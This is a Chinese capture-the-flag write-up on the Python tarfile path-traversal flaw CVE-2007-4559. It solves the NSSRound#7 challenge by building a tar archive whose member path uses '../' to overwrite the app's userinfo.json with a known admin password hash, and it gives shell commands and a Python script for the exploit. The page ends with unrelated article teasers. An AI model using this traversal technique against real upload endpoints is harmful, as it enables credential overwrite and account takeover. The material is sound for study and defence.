tar文件覆盖漏洞 CVE-2007-4559

news2025/2/25 21:55:57

文章目录

    • 前言
    • 原理
    • 例题 [NSSRound#7 Team]新的博客
      • 方法一 手搓文件名
      • 方法二 python脚本


前言

做到[NSSRound#6 Team]check(Revenge)时发现是tar文件覆盖,但是对概念和执行过程理解不够深就光光记住脚本,所以在做本题[NSSRound#7 Team]新的博客时打算重新梳理该漏洞执行过程

原理

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件

关键代码

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

extractall函数如果结合包含…/的文件名时可以实现文件覆盖漏洞

例题 [NSSRound#7 Team]新的博客

打开题目,发现有两个跳转的网页
第一个提示要用admin用户登录但是密码经过sha512加密,然后就是泄露了源码地址
在这里插入图片描述第二个网页提示hacker打不开,那么应该是要admin才行

我们把字符串解码一下
在这里插入图片描述得到源码文件夹,文件结构大概如下
在这里插入图片描述
当然此文件夹给了加密后的密码,但是也提示我们不用去爆破
这里我们先随便注册用户1试试,发现存在tar文件上传
在这里插入图片描述
提示也说了这个是恢复备份用的,那么思路就是tar文件覆盖

方法一 手搓文件名

我们已知userinfo.json存放着用户和加密的密码,那么我们可以尝试自己加密123456去覆盖admin原本的密码从而实现登录。加密脚本如下

import hashlib
import json

password='123456'
with open('userinfo.json','wb') as file:
    file.write(json.dumps({'admin':hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))

我们覆盖的路径为/app/conf/userinfo.json,但是我们发现要目录穿越

因为我们以用户1登录后,参考前文给的文件结构可知道需要被覆盖路径为1/../../app/conf/userinfo.json,也就是说我们创建的文件名为1/../../app/conf/userinfo.json。在linux下构建文件夹结构,然后将上述脚本生成的userinfo.json进行tar压缩

tar -czvf upload.tar.gz userinfo.json

然后我们在userData文件夹下,执行tar命令构造出覆盖路径的文件名

tar cPzvf upload.tar.gz 1/../../conf/userinfo.json

在这里插入图片描述

方法二 python脚本

import os, hashlib, json
 
username = '1' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = '123456' # 之后要使用admin账户登陆时的密码
 
os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
    tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

然后我们登录用户1,上传生成的tar文件
然后退出,用密码123456登录即可得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1278761.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux中的文件IO

文章目录 C语言文件操作系统文件I/O接口介绍 open函数返回值文件描述符fd0 & 1 & 2文件描述符的分配规则 重定向使用 dup2 系统调用 FILE理解文件系统理解硬链接软链接acm 动态库和静态库静态库与动态库生成静态库生成动态库: C语言文件操作 先来段代码回顾…

DouyinAPI接口系列丨Douyin商品详情数据接口丨Douyin视频详情数据接口

抖音商品详情API是抖音开放平台提供的一套API接口,用于获取商品详情信息。通过该API,开发者可以获取到商品的详细信息,包括商品ID、名称、描述、价格、销量、评价等信息。 在使用抖音商品详情API之前,需要先注册并登录抖音开放平…

【Linux】基本指令(上篇)

这里是目录 前言ls指令pwd指令mkdir指令(重要)tree指令cd指令结合 touch指令rmdir指令(重要)rm指令(重要)*通配符man指令(重要)echo指令cat指令cp指令(重要)拷…

Linux系统之部署Plik临时文件上传系统

Linux系统之部署Plik临时文件上传系统 一、Plik介绍1.1 Plik简介1.2 Plik特点 二、本地环境介绍2.1 本地环境规划2.2 本次实践介绍 三、检查本地环境3.1 检查本地操作系统版本3.2 检查系统内核版本 四、下载Plik软件包4.1 创建下载目录4.2 下载Plik软件包4.3 查看下载的Plik软件…

<JavaEE> volatile关键字 -- 保证内存可见性、禁止指令重排序

目录 一、内存可见性 1.1 Java内存模型(JMM) 1.2 内存可见性演示 二、指令重排序 三、关键字 volatile 一、内存可见性 1.1 Java内存模型(JMM) 1)什么是Java内存模型(JMM)?Java内存模型即Java Memory Model,简…

大数据读本:暴雨以数字技术助力传统产业数字化转型

发展数字经济,产业数字化是重要引擎。暴雨作为数字经济的领军企业,近年来积极利用数字技术对传统产业进行全方位、全角度、全链条的改造,提高要素生产率,释放数字对经济发展的放大、叠加、倍增作用。在农业产业化方面,…

无人机助力电力设备螺母缺销智能检测识别,python基于YOLOv7开发构建电力设备螺母缺销小目标检测识别系统

传统作业场景下电力设备的运维和维护都是人工来完成的,随着现代技术科技手段的不断发展,基于无人机航拍飞行的自动智能化电力设备问题检测成为了一种可行的手段,本文的核心内容就是基于YOLOv7来开发构建电力设备螺母缺销检测识别系统&#xf…

基于卷积神经网络的肺炎影像分类分割智能诊断系统

1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 研究背景与意义: 肺炎是一种常见的呼吸系统感染疾病,其主要病因包括细菌、病毒和真菌等。肺炎的早期诊断对于患者的治疗和预后至关重要。传统的肺炎诊断方…

Your anti-virus program might be impacting your build performance

Your anti-virus program might be impacting your build performance.解决方案 在使用 AndroidStudio 时,经常会弹出框提示:Your anti-virus program might be impacting your build performance. Android Studio checked the following directories: …

Java高级技术-反射

认识反射、获取类 获取类的方法 获取类的构造器 获取类的构造器、并对其进行操作 获取构造器的作用:依然是初始化对象返回 获取成员变量 获取成员变量的方法 获取成员变量的作用:赋值、取值 获取类的成员方法 方法 作用:依然是执行 作用、…

每日一练2023.12.2——正整数A+B【PTA】

题目链接:L1-025 正整数AB 题目要求: 题的目标很简单,就是求两个正整数A和B的和,其中A和B都在区间[1,1000]。稍微有点麻烦的是,输入并不保证是两个正整数。 输入格式: 输入在一行给出A和B,…

Wireshark使用详解

wireshark简介 wireshark是捕获机器上的某一块网卡的网络包,当你的机器上有多块网卡的时候,你需要选择一个网卡。   wireshark能获取HTTP,也能获取HTTPS,但是不能解密HTTPS,所以wireshark看不懂HTTPS中的内容&#…

强化学习(一)——基本概念及DQN

1 基本概念 智能体 agent ,做动作的主体,(大模型中的AI agent) 环境 environment:与智能体交互的对象 状态 state ;当前所处状态,如围棋棋局 动作 action:执行的动作,…

Swagger——接口文档自动生成和测试

目录 1 介绍2 使用步骤 1 介绍 Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务(https://swagger.io/)。 它的主要作用是: 使得前后端分离开发更加方便,有利于团队协作 接口的文档在线自动生成&…

SALib敏感性分析入门实践笔记

1. 敏感性分析 敏感性分析是指从定量分析的角度研究有关因素发生某种变化对某一个或一组关键指标影响程度的一种不确定分析技术。 其实质是通过逐一改变相关变量数值的方法来解释关键指标受这些因素变动影响大小的规律。 敏感性因素一般可选择主要参数(如销售收入、…

七、ZooKeeper选举机制

目录 1、概念 2、全新集群选举 3、非全新集群选举 zookeeper默认的算法是FastLeaderElection,采用投票数大于半数则胜出

自定义类型:结构体(自引用、内存对齐、位段(位域))

目录 一. 结构体类型的声明和定义 1.1结构体相关概念 1.11结构的声明 1.12成员列表 1.2定义结构体类型变量的方法 1.21先声明结构体类型再定义变量名 ​​​​1.22在声明类型的同时定义变量 1.23直接定义结构类型变量 二、结构体变量的创建、初始化​和访问 2.1结构体…

力扣.特定深度节点链表(java BFS解法)

Problem: 面试题 04.03. 特定深度节点链表 文章目录 题目描述思路解题方法复杂度Code 题目描述 思路 根据题意需要取出二叉树每一层节点组成的链表并将其添加到一个数组中。我们将该要求分解成如下的操作: 1.利用BFS获取二叉树每一层的节点 2.利用链表的尾插法将二…

手敲MyLinkedList,简单了解其运行逻辑

1.LinkedList的介绍和结构 LinkedList的底层是双向链表结构,相对于之前的单向无头非循环链表来说,LinkedList最大的区别就是该链表可以增加了一条链接逻辑,可以从最后一个节点通过地址访问来到整个链表的头结点。 通过以下集合框架&#xff0…

【数据库】数据库多种锁模式,共享锁、排它锁,更新锁,增量锁,死锁消除与性能优化

多种锁模式的封锁系统 ​专栏内容: 手写数据库toadb 本专栏主要介绍如何从零开发,开发的步骤,以及开发过程中的涉及的原理,遇到的问题等,让大家能跟上并且可以一起开发,让每个需要的人成为参与者。 本专栏会…